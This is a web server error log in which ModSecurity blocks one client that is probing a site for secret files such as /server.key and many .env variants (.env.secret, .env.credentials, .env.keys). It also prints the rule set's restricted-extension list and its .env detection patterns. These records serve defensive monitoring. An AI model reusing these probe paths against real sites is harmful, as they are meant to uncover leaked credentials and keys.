[Sun Oct 25 21:38:29.024465 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at6vFcmX8eKs_cgmrz9w6AAAAAU"]
[Sun Oct 25 21:38:29.061458 2026] [authz_core:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 21:38:29.396221 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6vFcmX8eKs_cgmrz9w6QAAAAU"]
[Sun Oct 25 21:38:29.396833 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6vFcmX8eKs_cgmrz9w6QAAAAU"]
[Sun Oct 25 21:38:29.397186 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at6vFcmX8eKs_cgmrz9w6QAAAAU"]
[Sun Oct 25 21:38:29.514801 2026] [authz_core:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 21:38:29.527635 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at6vFZHo7mmwz2JULlItsgAAAAw"]
[Sun Oct 25 21:38:29.528111 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at6vFZHo7mmwz2JULlItsgAAAAw"]
[Sun Oct 25 21:38:29.528462 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at6vFZHo7mmwz2JULlItsgAAAAw"]
[Sun Oct 25 21:38:29.541788 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at6vFZHtMtN5e4U4U0biPQAAAAI"]
[Sun Oct 25 21:38:29.541970 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at6vFZHtMtN5e4U4U0biPQAAAAI"]
[Sun Oct 25 21:38:29.542134 2026] [security2:error] [pid 2936923:tid 2936923] [client 34.80.240.124:49612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at6vFY0m5YFE8EpaPz0l8gAAABI"]
[Sun Oct 25 21:38:29.542258 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at6vFZHtMtN5e4U4U0biPQAAAAI"]
[Sun Oct 25 21:38:29.542328 2026] [security2:error] [pid 2936923:tid 2936923] [client 34.80.240.124:49612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at6vFY0m5YFE8EpaPz0l8gAAABI"]
[Sun Oct 25 21:38:29.542567 2026] [security2:error] [pid 2936923:tid 2936923] [client 34.80.240.124:49612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at6vFY0m5YFE8EpaPz0l8gAAABI"]
[Sun Oct 25 21:38:29.943788 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at6vFcmX8eKs_cgmrz9w6gAAAAU"]
[Sun Oct 25 21:38:29.944026 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at6vFcmX8eKs_cgmrz9w6gAAAAU"]
[Sun Oct 25 21:38:29.944278 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at6vFcmX8eKs_cgmrz9w6gAAAAU"]
[Sun Oct 25 21:38:29.999812 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at6vFQPsVzpIp32jbe9FXwAAAAQ"]
[Sun Oct 25 21:38:30.000105 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at6vFQPsVzpIp32jbe9FXwAAAAQ"]
[Sun Oct 25 21:38:30.000459 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at6vFQPsVzpIp32jbe9FXwAAAAQ"]
[Sun Oct 25 21:38:30.006575 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at6vFkokKmMLT537ELOlRwAAAAg"]
[Sun Oct 25 21:38:30.006807 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at6vFkokKmMLT537ELOlRwAAAAg"]
[Sun Oct 25 21:38:30.007044 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at6vFkokKmMLT537ELOlRwAAAAg"]
[Sun Oct 25 21:38:30.012538 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at6vFpHtMtN5e4U4U0biPgAAAAI"]
[Sun Oct 25 21:38:30.012722 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at6vFpHtMtN5e4U4U0biPgAAAAI"]
[Sun Oct 25 21:38:30.012976 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at6vFpHtMtN5e4U4U0biPgAAAAI"]
[Sun Oct 25 21:38:30.014404 2026] [security2:error] [pid 2936923:tid 2936923] [client 34.80.240.124:49612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at6vFo0m5YFE8EpaPz0l8wAAABI"]
[Sun Oct 25 21:38:30.014737 2026] [security2:error] [pid 2936923:tid 2936923] [client 34.80.240.124:49612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at6vFo0m5YFE8EpaPz0l8wAAABI"]
[Sun Oct 25 21:38:30.015184 2026] [security2:error] [pid 2936923:tid 2936923] [client 34.80.240.124:49612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at6vFo0m5YFE8EpaPz0l8wAAABI"]
[Sun Oct 25 21:38:30.019364 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at6vFpHo7mmwz2JULlItswAAAAw"]
[Sun Oct 25 21:38:30.019561 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at6vFpHo7mmwz2JULlItswAAAAw"]
[Sun Oct 25 21:38:30.019825 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at6vFpHo7mmwz2JULlItswAAAAw"]
[Sun Oct 25 21:38:30.023564 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at6vFvdm2KTysO4I86nlUgAAAAM"]
[Sun Oct 25 21:38:30.023748 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at6vFvdm2KTysO4I86nlUgAAAAM"]
[Sun Oct 25 21:38:30.023994 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at6vFvdm2KTysO4I86nlUgAAAAM"]
[Sun Oct 25 21:38:30.134465 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at6vFpULOWoEMRW-pEzjGwAAABE"]
[Sun Oct 25 21:38:30.134684 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at6vFpULOWoEMRW-pEzjGwAAABE"]
[Sun Oct 25 21:38:30.134944 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at6vFpULOWoEMRW-pEzjGwAAABE"]
[Sun Oct 25 21:38:30.220686 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at6vFmkY-VB8B4bkBm4wzwAAAAs"]
